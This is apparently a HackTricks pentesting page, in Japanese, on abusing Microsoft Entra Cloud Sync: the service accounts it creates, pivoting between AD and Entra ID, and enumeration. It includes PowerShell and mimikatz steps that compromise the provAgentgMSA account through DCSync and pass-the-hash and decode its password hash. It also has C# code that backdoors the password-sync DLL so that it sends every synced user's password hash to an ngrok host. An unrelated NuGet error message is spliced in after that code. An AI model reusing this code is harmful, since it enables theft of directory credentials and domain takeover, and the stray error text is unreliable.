# Az - Cloud Sync

{{#include ../../../banners/hacktricks-training.md}}

## 基本情報

**Cloud Sync** は、Azure が **AD から Entra ID にユーザーを同期させる新しい方法** です。

[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync は、ユーザー、グループ、および連絡先を Microsoft Entra ID に同期させるためのハイブリッドアイデンティティ目標を達成するために設計された Microsoft の新しい提供物です。これは、Microsoft Entra Connect アプリケーションの代わりに Microsoft Entra クラウドプロビジョニングエージェントを使用して実現されます。ただし、Microsoft Entra Connect Sync と併用することもできます。

### 生成されるプリンシパル

これが機能するためには、Entra ID とオンプレミスディレクトリの両方にいくつかのプリンシパルが作成されます。

- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** の役割 (`d29b2b05-8046-44ba-8758-1e26182fcf32`) で作成されます。

> [!WARNING]
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用できた**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b) が、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これにより、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりする特権的なアクションを実行することはできません。

- Entra ID では、メンバーや所有者のいないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。

- AD では、サービスアカウント **`provAgentgMSA`** が **`pGMSA_<id>$@domain.com`** のような SamAccountName で作成されるか、[**これらの権限が必要な**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)カスタムのものが作成されます。通常、デフォルトのものが作成されます。

> [!WARNING]
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は、[こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。

> [!NOTE]
> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、直接高い権限が割り当てられたユーザーは **同期される可能性があります**。

## パスワード同期

このセクションは以下の内容に非常に似ています:

{{#ref}}
az-connect-sync.md
{{#endref}}

- **パスワードハッシュ同期** を有効にすると、ユーザーは **AD のパスワードを使用して Entra ID にログインできる** ようになります。さらに、AD でパスワードが変更されると、Entra ID にも更新されます。
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、自動的にオンプレミスドメインにパスワードが同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)によると、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md)を参照してください。
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミス AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。

## ピボッティング

### AD --> Entra ID

- AD ユーザーが AD から Entra ID に同期されている場合、AD から Entra ID へのピボッティングは簡単です。**ユーザーのパスワードを侵害するか、ユーザーのパスワードを変更するか、新しいユーザーを作成して Entra ID ディレクトリに同期されるのを待つだけです（通常は数分）**。

例えば、次のようにできます。
- **`provAgentgMSA`** アカウントを侵害し、DCSync 攻撃を実行し、ユーザーのパスワードを解読して、それを使用して Entra ID にログインします。
- AD に新しいユーザーを作成し、それが Entra ID に同期されるのを待ってから、それを使用して Entra ID にログインします。
- AD のユーザーのパスワードを変更し、それが Entra ID に同期されるのを待ってから、それを使用して Entra ID にログインします。

**`provAgentgMSA`** の資格情報を侵害するには:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
今、gMSAのハッシュを使用して、`provAgentgMSA`アカウントを介してEntra IDに対してPass-the-Hash攻撃を実行し、ADに対してDCSync攻撃を行うための永続性を維持することができます。

Active Directoryを侵害する方法についての詳細は、以下を確認してください：

{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}

> [!NOTE]
> AzureまたはEntraIDの役割を属性に基づいて同期されたユーザーに付与する方法はありません。たとえば、Cloud Syncの設定ではそうです。しかし、同期されたユーザーに自動的に権限を付与するために、**ADからのいくつかのEntra IDグループ**に権限が付与される可能性があるため、これらのグループ内の同期されたユーザーもそれを受け取るか、**動的グループが使用される可能性があります**。したがって、常に動的ルールとそれを悪用する潜在的な方法を確認してください：

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}

永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にあるdll **`Microsoft.Online.Passwordsynchronisation.dll`**をバックドアするために[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用することが可能であると示唆しています。このdllはCloud Syncエージェントによってパスワード同期を実行するために使用され、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています（`use System.Net`と`WebClient`を使用してパスワードハッシュを流出させることに注意してください）：
```csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
```
NuGet パッケージの復元がプロジェクト AzTokenFinder に対して失敗しました: パッケージ 'System.Security.Cryptography.X509Certificates' のバージョン '4.3.2' が見つかりません。
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Security.Cryptography.X509Certificates.4.3.2' はソース 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' に見つかりませんでした。
詳細な警告とエラーについては、エラーリストウィンドウを参照してください。



### Entra ID --> AD

- **Password Writeback** が有効になっている場合、Entra ID からいくつかのユーザーのパスワードを変更でき、AD ネットワークにアクセスできる場合は、それを使用して接続できます。詳細については、パスワードの書き戻しがそのエージェントを使用して構成されているため、[Az Connect Sync セクション](./az-connect-sync.md)を確認してください。

- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** を許可していますが、長い時間が経った後、EntraID ユーザーを AD に同期できず、パスワードハッシュで同期された EntraID ユーザーのみを同期できることがわかりました。また、同期先のドメインと同じドメインフォレストに属するドメインから来る必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください：

> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウドで作成されたセキュリティグループのみを含めることができます。
> - 同期され、このクラウドで作成されたセキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからであってもかまいませんが、すべて同じフォレストからでなければなりません。

したがって、このサービスの攻撃面（および有用性）は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります（両方が同じフォレストに存在する必要があるようです）。


### Enumeration
```bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../banners/hacktricks-training.md}}
